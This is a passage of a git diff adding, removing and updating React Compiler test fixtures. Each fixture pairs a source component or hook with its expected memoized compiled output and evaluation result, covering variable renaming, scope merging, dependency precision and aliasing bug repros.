-function useFoo(props: { value: number }): number {
-  const results = identity(props.value);
-  console.log($);
-  console.log(t0);
-  console.log(c_0);
-  return results;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ value: 0 }],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableChangeVariableCodegen
-import { identity } from "shared-runtime";
-
-const $ = "module_$";
-const t0 = "module_t0";
-const c_0 = "module_c_0";
-function useFoo(props) {
-  const $0 = _c(2);
-  const c_00 = $0[0] !== props.value;
-  let t1;
-  if (c_00) {
-    t1 = identity(props.value);
-    $0[0] = props.value;
-    $0[1] = t1;
-  } else {
-    t1 = $0[1];
-  }
-  const results = t1;
-  console.log($);
-  console.log(t0);
-  console.log(c_0);
-  return results;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ value: 0 }],
-};
-
-```
-      
-### Eval output
-(kind: ok) 0
-logs: ['module_$','module_t0','module_c_0']
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rename-source-variables.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rename-source-variables.ts
deleted file mode 100644
index 2bc63039a3b7..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rename-source-variables.ts
+++ /dev/null
@@ -1,18 +0,0 @@
-// @enableChangeVariableCodegen
-import { identity } from "shared-runtime";
-
-const $ = "module_$";
-const t0 = "module_t0";
-const c_0 = "module_c_0";
-function useFoo(props: { value: number }): number {
-  const results = identity(props.value);
-  console.log($);
-  console.log(t0);
-  console.log(c_0);
-  return results;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ value: 0 }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/renaming-jsx-tag-lowercase.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/renaming-jsx-tag-lowercase.expect.md
new file mode 100644
index 000000000000..61414ae895b6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/renaming-jsx-tag-lowercase.expect.md
@@ -0,0 +1,85 @@
+
+## Input
+
+```javascript
+import {Stringify, identity, useIdentity} from 'shared-runtime';
+
+function Foo({}) {
+  const x = {};
+  const y = {};
+  useIdentity(0);
+  return (
+    <>
+      <Stringify value={identity(y)} />
+      <Stringify value={identity(x)} />
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify, identity, useIdentity } from "shared-runtime";
+
+function Foo(t0) {
+  const $ = _c(9);
+  const x = {};
+  const y = {};
+  useIdentity(0);
+
+  const T0 = Stringify;
+  const t1 = identity(y);
+  let t2;
+  if ($[0] !== T0 || $[1] !== t1) {
+    t2 = <T0 value={t1} />;
+    $[0] = T0;
+    $[1] = t1;
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  const T1 = Stringify;
+  const t3 = identity(x);
+  let t4;
+  if ($[3] !== T1 || $[4] !== t3) {
+    t4 = <T1 value={t3} />;
+    $[3] = T1;
+    $[4] = t3;
+    $[5] = t4;
+  } else {
+    t4 = $[5];
+  }
+  let t5;
+  if ($[6] !== t2 || $[7] !== t4) {
+    t5 = (
+      <>
+        {t2}
+        {t4}
+      </>
+    );
+    $[6] = t2;
+    $[7] = t4;
+    $[8] = t5;
+  } else {
+    t5 = $[8];
+  }
+  return t5;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"value":{}}</div><div>{"value":{}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/renaming-jsx-tag-lowercase.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/renaming-jsx-tag-lowercase.tsx
new file mode 100644
index 000000000000..35995a862bfc
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/renaming-jsx-tag-lowercase.tsx
@@ -0,0 +1,18 @@
+import {Stringify, identity, useIdentity} from 'shared-runtime';
+
+function Foo({}) {
+  const x = {};
+  const y = {};
+  useIdentity(0);
+  return (
+    <>
+      <Stringify value={identity(y)} />
+      <Stringify value={identity(x)} />
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reordering-across-blocks.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reordering-across-blocks.expect.md
new file mode 100644
index 000000000000..aba6e5dc8aa3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reordering-across-blocks.expect.md
@@ -0,0 +1,107 @@
+
+## Input
+
+```javascript
+import {Stringify} from 'shared-runtime';
+
+function Component({config}) {
+  /**
+   * The original memoization is optimal in the sense that it has
+   * one output (the object) and one dependency (`config`). Both
+   * the `a` and `b` functions will have to be recreated whenever
+   * `config` changes, cascading to update the object.
+   *
+   * However, we currently only consider consecutive scopes for
+   * merging, so we first see the `a` scope, then the `b` scope,
+   * and see that the output of the `a` scope is used later -
+   * so we don't merge these scopes, and so on.
+   *
+   * The more optimal thing would be to build a dependency graph
+   * of scopes so that we can see the data flow is along the lines
+   * of:
+   *
+   *             config
+   *            /      \
+   *          [a]      [b]
+   *           \       /
+   *           [object]
+   *
+   * All the scopes (shown in []) are transitively dependent on
+   * `config`, so they can be merged.
+   */
+  const object = useMemo(() => {
+    const a = event => {
+      config?.onA?.(event);
+    };
+
+    const b = event => {
+      config?.onB?.(event);
+    };
+
+    return {
+      b,
+      a,
+    };
+  }, [config]);
+
+  return <Stringify value={object} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(9);
+  const { config } = t0;
+  let t1;
+  if ($[0] !== config) {
+    t1 = (event) => {
+      config?.onA?.(event);
+    };
+    $[0] = config;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const a = t1;
+  let t2;
+  if ($[2] !== config) {
+    t2 = (event_0) => {
+      config?.onB?.(event_0);
+    };
+    $[2] = config;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  const b = t2;
+  let t3;
+  if ($[4] !== a || $[5] !== b) {
+    t3 = { b, a };
+    $[4] = a;
+    $[5] = b;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  const object = t3;
+  let t4;
+  if ($[7] !== object) {
+    t4 = <Stringify value={object} />;
+    $[7] = object;
+    $[8] = t4;
+  } else {
+    t4 = $[8];
+  }
+  return t4;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reordering-across-blocks.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reordering-across-blocks.js
new file mode 100644
index 000000000000..a71e0262cf1b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reordering-across-blocks.js
@@ -0,0 +1,44 @@
+import {Stringify} from 'shared-runtime';
+
+function Component({config}) {
+  /**
+   * The original memoization is optimal in the sense that it has
+   * one output (the object) and one dependency (`config`). Both
+   * the `a` and `b` functions will have to be recreated whenever
+   * `config` changes, cascading to update the object.
+   *
+   * However, we currently only consider consecutive scopes for
+   * merging, so we first see the `a` scope, then the `b` scope,
+   * and see that the output of the `a` scope is used later -
+   * so we don't merge these scopes, and so on.
+   *
+   * The more optimal thing would be to build a dependency graph
+   * of scopes so that we can see the data flow is along the lines
+   * of:
+   *
+   *             config
+   *            /      \
+   *          [a]      [b]
+   *           \       /
+   *           [object]
+   *
+   * All the scopes (shown in []) are transitively dependent on
+   * `config`, so they can be merged.
+   */
+  const object = useMemo(() => {
+    const a = event => {
+      config?.onA?.(event);
+    };
+
+    const b = event => {
+      config?.onB?.(event);
+    };
+
+    return {
+      b,
+      a,
+    };
+  }, [config]);
+
+  return <Stringify value={object} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repeated-dependencies-more-precise.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repeated-dependencies-more-precise.expect.md
new file mode 100644
index 000000000000..27da22eb0fa5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repeated-dependencies-more-precise.expect.md
@@ -0,0 +1,87 @@
+
+## Input
+
+```javascript
+// @flow
+import {Stringify} from 'shared-runtime';
+
+/**
+ * Example fixture demonstrating a case where we could hoist dependencies
+ * and reuse them across scopes. Here we extract a temporary for `item.value`
+ * and reference it both in the scope for `a`. Then the scope for `c` could
+ * use `<item-value-temp>.inner` as its dependency, avoiding reloading
+ * `item.value`.
+ */
+function Test({item, index}: {item: {value: {inner: any}}, index: number}) {
+  // These scopes have the same dependency, `item.value`, and could
+  // share a hoisted expression to evaluate it
+  const a = [];
+  if (index) {
+    a.push({value: item.value, index});
+  }
+  const b = [item.value];
+
+  // This dependency is more precise (nested property), the outer
+  // `item.value` portion could use a hoisted dep for `item.value
+  const c = [item.value.inner];
+  return <Stringify value={[a, b, c]} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify } from "shared-runtime";
+
+function Test(t0) {
+  const $ = _c(11);
+  const { item, index } = t0;
+  let a;
+  if ($[0] !== index || $[1] !== item.value) {
+    a = [];
+    if (index) {
+      a.push({ value: item.value, index });
+    }
+    $[0] = index;
+    $[1] = item.value;
+    $[2] = a;
+  } else {
+    a = $[2];
+  }
+  let t1;
+  if ($[3] !== item.value) {
+    t1 = [item.value];
+    $[3] = item.value;
+    $[4] = t1;
+  } else {
+    t1 = $[4];
+  }
+  const b = t1;
+  let t2;
+  if ($[5] !== item.value.inner) {
+    t2 = [item.value.inner];
+    $[5] = item.value.inner;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  const c = t2;
+  let t3;
+  if ($[7] !== a || $[8] !== b || $[9] !== c) {
+    t3 = <Stringify value={[a, b, c]} />;
+    $[7] = a;
+    $[8] = b;
+    $[9] = c;
+    $[10] = t3;
+  } else {
+    t3 = $[10];
+  }
+  return t3;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repeated-dependencies-more-precise.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repeated-dependencies-more-precise.js
new file mode 100644
index 000000000000..63ebbdd91b7b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repeated-dependencies-more-precise.js
@@ -0,0 +1,24 @@
+// @flow
+import {Stringify} from 'shared-runtime';
+
+/**
+ * Example fixture demonstrating a case where we could hoist dependencies
+ * and reuse them across scopes. Here we extract a temporary for `item.value`
+ * and reference it both in the scope for `a`. Then the scope for `c` could
+ * use `<item-value-temp>.inner` as its dependency, avoiding reloading
+ * `item.value`.
+ */
+function Test({item, index}: {item: {value: {inner: any}}, index: number}) {
+  // These scopes have the same dependency, `item.value`, and could
+  // share a hoisted expression to evaluate it
+  const a = [];
+  if (index) {
+    a.push({value: item.value, index});
+  }
+  const b = [item.value];
+
+  // This dependency is more precise (nested property), the outer
+  // `item.value` portion could use a hoisted dep for `item.value
+  const c = [item.value.inner];
+  return <Stringify value={[a, b, c]} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-aliased-capture-aliased-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-aliased-capture-aliased-mutate.expect.md
new file mode 100644
index 000000000000..d306b152dd09
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-aliased-capture-aliased-mutate.expect.md
@@ -0,0 +1,103 @@
+
+## Input
+
+```javascript
+// @flow @enableTransitivelyFreezeFunctionExpressions:false @enableNewMutationAliasingModel
+import {arrayPush, setPropertyByKey, Stringify} from 'shared-runtime';
+
+/**
+ * Repro of a bug fixed in the new aliasing model.
+ *
+ * 1. `InferMutableRanges` derives the mutable range of identifiers and their
+ *     aliases from `LoadLocal`, `PropertyLoad`, etc
+ *   - After this pass, y's mutable range only extends to `arrayPush(x, y)`
+ *   - We avoid assigning mutable ranges to loads after y's mutable range, as
+ *     these are working with an immutable value. As a result, `LoadLocal y` and
+ *     `PropertyLoad y` do not get mutable ranges
+ * 2. `InferReactiveScopeVariables` extends mutable ranges and creates scopes,
+ *    as according to the 'co-mutation' of different values
+ *   - Here, we infer that
+ *     - `arrayPush(y, x)` might alias `x` and `y` to each other
+ *     - `setPropertyKey(x, ...)` may mutate both `x` and `y`
+ *   - This pass correctly extends the mutable range of `y`
+ *   - Since we didn't run `InferMutableRange` logic again, the LoadLocal /
+ *     PropertyLoads still don't have a mutable range
+ *
+ * Note that the this bug is an edge case. Compiler output is only invalid for:
+ *  - function expressions with
+ *    `enableTransitivelyFreezeFunctionExpressions:false`
+ *  - functions that throw and get retried without clearing the memocache
+ *
+ * Found differences in evaluator results
+ * Non-forget (expected):
+ *   (kind: ok)
+ *   <div>{"cb":{"kind":"Function","result":10},"shouldInvokeFns":true}</div>
+ *   <div>{"cb":{"kind":"Function","result":11},"shouldInvokeFns":true}</div>
+ * Forget:
+ *   (kind: ok)
+ *   <div>{"cb":{"kind":"Function","result":10},"shouldInvokeFns":true}</div>
+ *   <div>{"cb":{"kind":"Function","result":10},"shouldInvokeFns":true}</div>
+ */
+function useFoo({a, b}: {a: number, b: number}) {
+  const x = [];
+  const y = {value: a};
+
+  arrayPush(x, y); // x and y co-mutate
+  const y_alias = y;
+  const cb = () => y_alias.value;
+  setPropertyByKey(x[0], 'value', b); // might overwrite y.value
+  return <Stringify cb={cb} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: 2, b: 10}],
+  sequentialRenders: [
+    {a: 2, b: 10},
+    {a: 2, b: 11},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { arrayPush, setPropertyByKey, Stringify } from "shared-runtime";
+
+function useFoo(t0) {
+  const $ = _c(3);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] !== a || $[1] !== b) {
+    const x = [];
+    const y = { value: a };
+    arrayPush(x, y);
+    const y_alias = y;
+    const cb = () => y_alias.value;
+    setPropertyByKey(x[0], "value", b);
+    t1 = <Stringify cb={cb} shouldInvokeFns={true} />;
+    $[0] = a;
+    $[1] = b;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ a: 2, b: 10 }],
+  sequentialRenders: [
+    { a: 2, b: 10 },
+    { a: 2, b: 11 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"cb":{"kind":"Function","result":10},"shouldInvokeFns":true}</div>
+<div>{"cb":{"kind":"Function","result":11},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-aliased-capture-aliased-mutate.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-aliased-capture-aliased-mutate.js
new file mode 100644
index 000000000000..df9e294261e3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-aliased-capture-aliased-mutate.js
@@ -0,0 +1,55 @@
+// @flow @enableTransitivelyFreezeFunctionExpressions:false @enableNewMutationAliasingModel
+import {arrayPush, setPropertyByKey, Stringify} from 'shared-runtime';
+
+/**
+ * Repro of a bug fixed in the new aliasing model.
+ *
+ * 1. `InferMutableRanges` derives the mutable range of identifiers and their
+ *     aliases from `LoadLocal`, `PropertyLoad`, etc
+ *   - After this pass, y's mutable range only extends to `arrayPush(x, y)`
+ *   - We avoid assigning mutable ranges to loads after y's mutable range, as
+ *     these are working with an immutable value. As a result, `LoadLocal y` and
+ *     `PropertyLoad y` do not get mutable ranges
+ * 2. `InferReactiveScopeVariables` extends mutable ranges and creates scopes,
+ *    as according to the 'co-mutation' of different values
+ *   - Here, we infer that
+ *     - `arrayPush(y, x)` might alias `x` and `y` to each other
+ *     - `setPropertyKey(x, ...)` may mutate both `x` and `y`
+ *   - This pass correctly extends the mutable range of `y`
+ *   - Since we didn't run `InferMutableRange` logic again, the LoadLocal /
+ *     PropertyLoads still don't have a mutable range
+ *
+ * Note that the this bug is an edge case. Compiler output is only invalid for:
+ *  - function expressions with
+ *    `enableTransitivelyFreezeFunctionExpressions:false`
+ *  - functions that throw and get retried without clearing the memocache
+ *
+ * Found differences in evaluator results
+ * Non-forget (expected):
+ *   (kind: ok)
+ *   <div>{"cb":{"kind":"Function","result":10},"shouldInvokeFns":true}</div>
+ *   <div>{"cb":{"kind":"Function","result":11},"shouldInvokeFns":true}</div>
+ * Forget:
+ *   (kind: ok)
+ *   <div>{"cb":{"kind":"Function","result":10},"shouldInvokeFns":true}</div>
+ *   <div>{"cb":{"kind":"Function","result":10},"shouldInvokeFns":true}</div>
+ */
+function useFoo({a, b}: {a: number, b: number}) {
+  const x = [];
+  const y = {value: a};
+
+  arrayPush(x, y); // x and y co-mutate
+  const y_alias = y;
+  const cb = () => y_alias.value;
+  setPropertyByKey(x[0], 'value', b); // might overwrite y.value
+  return <Stringify cb={cb} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: 2, b: 10}],
+  sequentialRenders: [
+    {a: 2, b: 10},
+    {a: 2, b: 11},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-aliased-capture-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-aliased-capture-mutate.expect.md
new file mode 100644
index 000000000000..c3b5d6d92560
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-aliased-capture-mutate.expect.md
@@ -0,0 +1,82 @@
+
+## Input
+
+```javascript
+// @flow @enableTransitivelyFreezeFunctionExpressions:false @enableNewMutationAliasingModel
+import {setPropertyByKey, Stringify} from 'shared-runtime';
+
+/**
+ * Variation of bug in `bug-aliased-capture-aliased-mutate`.
+ * Fixed in the new inference model.
+ *
+ * Found differences in evaluator results
+ * Non-forget (expected):
+ *   (kind: ok)
+ *   <div>{"cb":{"kind":"Function","result":2},"shouldInvokeFns":true}</div>
+ *   <div>{"cb":{"kind":"Function","result":3},"shouldInvokeFns":true}</div>
+ * Forget:
+ *   (kind: ok)
+ *   <div>{"cb":{"kind":"Function","result":2},"shouldInvokeFns":true}</div>
+ *   <div>{"cb":{"kind":"Function","result":2},"shouldInvokeFns":true}</div>
+ */
+
+function useFoo({a}: {a: number, b: number}) {
+  const arr = [];
+  const obj = {value: a};
+
+  setPropertyByKey(obj, 'arr', arr);
+  const obj_alias = obj;
+  const cb = () => obj_alias.arr.length;
+  for (let i = 0; i < a; i++) {
+    arr.push(i);
+  }
+  return <Stringify cb={cb} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: 2}],
+  sequentialRenders: [{a: 2}, {a: 3}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { setPropertyByKey, Stringify } from "shared-runtime";
+
+function useFoo(t0) {
+  const $ = _c(2);
+  const { a } = t0;
+  let t1;
+  if ($[0] !== a) {
+    const arr = [];
+    const obj = { value: a };
+    setPropertyByKey(obj, "arr", arr);
+    const obj_alias = obj;
+    const cb = () => obj_alias.arr.length;
+    for (let i = 0; i < a; i++) {
+      arr.push(i);
+    }
+    t1 = <Stringify cb={cb} shouldInvokeFns={true} />;
+    $[0] = a;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ a: 2 }],
+  sequentialRenders: [{ a: 2 }, { a: 3 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"cb":{"kind":"Function","result":2},"shouldInvokeFns":true}</div>
+<div>{"cb":{"kind":"Function","result":3},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-aliased-capture-mutate.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-aliased-capture-mutate.js
new file mode 100644
index 000000000000..2ed6941fa7f3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-aliased-capture-mutate.js
@@ -0,0 +1,36 @@
+// @flow @enableTransitivelyFreezeFunctionExpressions:false @enableNewMutationAliasingModel
+import {setPropertyByKey, Stringify} from 'shared-runtime';
+
+/**
+ * Variation of bug in `bug-aliased-capture-aliased-mutate`.
+ * Fixed in the new inference model.
+ *
+ * Found differences in evaluator results
+ * Non-forget (expected):
+ *   (kind: ok)
+ *   <div>{"cb":{"kind":"Function","result":2},"shouldInvokeFns":true}</div>
+ *   <div>{"cb":{"kind":"Function","result":3},"shouldInvokeFns":true}</div>
+ * Forget:
+ *   (kind: ok)
+ *   <div>{"cb":{"kind":"Function","result":2},"shouldInvokeFns":true}</div>
+ *   <div>{"cb":{"kind":"Function","result":2},"shouldInvokeFns":true}</div>
+ */
+
+function useFoo({a}: {a: number, b: number}) {
+  const arr = [];
+  const obj = {value: a};
+
+  setPropertyByKey(obj, 'arr', arr);
+  const obj_alias = obj;
+  const cb = () => obj_alias.arr.length;
+  for (let i = 0; i < a; i++) {
+    arr.push(i);
+  }
+  return <Stringify cb={cb} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: 2}],
+  sequentialRenders: [{a: 2}, {a: 3}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-allocating-ternary-test-instruction-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-allocating-ternary-test-instruction-scope.expect.md
index 67e78bcc7ec1..01161d0941e5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-allocating-ternary-test-instruction-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-allocating-ternary-test-instruction-scope.expect.md
@@ -2,9 +2,11 @@
 ## Input
 
 ```javascript
-import { identity, makeObject_Primitives } from "shared-runtime";
+import {identity, makeObject_Primitives} from 'shared-runtime';
+
+function useHook() {}
 
-function useTest({ cond }) {
+function useTest({cond}) {
   const val = makeObject_Primitives();
 
   useHook();
@@ -20,7 +22,7 @@ function useTest({ cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useTest,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
 
 ```
@@ -31,6 +33,8 @@ export const FIXTURE_ENTRYPOINT = {
 import { c as _c } from "react/compiler-runtime";
 import { identity, makeObject_Primitives } from "shared-runtime";
 
+function useHook() {}
+
 function useTest(t0) {
   const $ = _c(3);
   const { cond } = t0;
@@ -64,4 +68,4 @@ export const FIXTURE_ENTRYPOINT = {
 ```
       
 ### Eval output
-(kind: exception) useHook is not defined
\ No newline at end of file
+(kind: ok) {"a":0,"b":"value1","c":true}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-allocating-ternary-test-instruction-scope.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-allocating-ternary-test-instruction-scope.ts
index 8145dfeaf0db..017ea326b406 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-allocating-ternary-test-instruction-scope.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-allocating-ternary-test-instruction-scope.ts
@@ -1,6 +1,8 @@
-import { identity, makeObject_Primitives } from "shared-runtime";
+import {identity, makeObject_Primitives} from 'shared-runtime';
 
-function useTest({ cond }) {
+function useHook() {}
+
+function useTest({cond}) {
   const val = makeObject_Primitives();
 
   useHook();
@@ -16,5 +18,5 @@ function useTest({ cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useTest,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-backedge-reference-effect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-backedge-reference-effect.expect.md
new file mode 100644
index 000000000000..65c0108e461d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-backedge-reference-effect.expect.md
@@ -0,0 +1,73 @@
+
+## Input
+
+```javascript
+import {Stringify} from 'shared-runtime';
+
+function Foo({userIds}) {
+  return (
+    <Stringify
+      fn={() => {
+        const arr = [];
+
+        for (const selectedUser of userIds) {
+          arr.push(selectedUser);
+        }
+        return arr;
+      }}
+      shouldInvokeFns={true}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{userIds: [1, 2, 3]}],
+  sequentialRenders: [{userIds: [1, 2, 4]}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify } from "shared-runtime";
+
+function Foo(t0) {
+  const $ = _c(2);
+  const { userIds } = t0;
+  let t1;
+  if ($[0] !== userIds) {
+    t1 = (
+      <Stringify
+        fn={() => {
+          const arr = [];
+
+          for (const selectedUser of userIds) {
+            arr.push(selectedUser);
+          }
+
+          return arr;
+        }}
+        shouldInvokeFns={true}
+      />
+    );
+    $[0] = userIds;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ userIds: [1, 2, 3] }],
+  sequentialRenders: [{ userIds: [1, 2, 4] }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"fn":{"kind":"Function","result":[1,2,4]},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-backedge-reference-effect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-backedge-reference-effect.js
new file mode 100644
index 000000000000..03145445ec5b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-backedge-reference-effect.js
@@ -0,0 +1,23 @@
+import {Stringify} from 'shared-runtime';
+
+function Foo({userIds}) {
+  return (
+    <Stringify
+      fn={() => {
+        const arr = [];
+
+        for (const selectedUser of userIds) {
+          arr.push(selectedUser);
+        }
+        return arr;
+      }}
+      shouldInvokeFns={true}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{userIds: [1, 2, 3]}],
+  sequentialRenders: [{userIds: [1, 2, 4]}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-bailout-nopanic-shouldnt-outline.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-bailout-nopanic-shouldnt-outline.expect.md
new file mode 100644
index 000000000000..cfbaa3456824
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-bailout-nopanic-shouldnt-outline.expect.md
@@ -0,0 +1,27 @@
+
+## Input
+
+```javascript
+// @panicThreshold(none)
+'use no memo';
+
+function Foo() {
+  return <button onClick={() => alert('hello!')}>Click me!</button>;
+}
+
+```
+
+## Code
+
+```javascript
+// @panicThreshold(none)
+"use no memo";
+
+function Foo() {
+  return <button onClick={() => alert("hello!")}>Click me!</button>;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-bailout-nopanic-shouldnt-outline.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-bailout-nopanic-shouldnt-outline.js
new file mode 100644
index 000000000000..405295ee4c7c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-bailout-nopanic-shouldnt-outline.js
@@ -0,0 +1,6 @@
+// @panicThreshold(none)
+'use no memo';
+
+function Foo() {
+  return <button onClick={() => alert('hello!')}>Click me!</button>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-capturing-func-maybealias-captured-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-capturing-func-maybealias-captured-mutate.expect.md
new file mode 100644
index 000000000000..f6b7ef3b43d5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-capturing-func-maybealias-captured-mutate.expect.md
@@ -0,0 +1,111 @@
+
+## Input
+
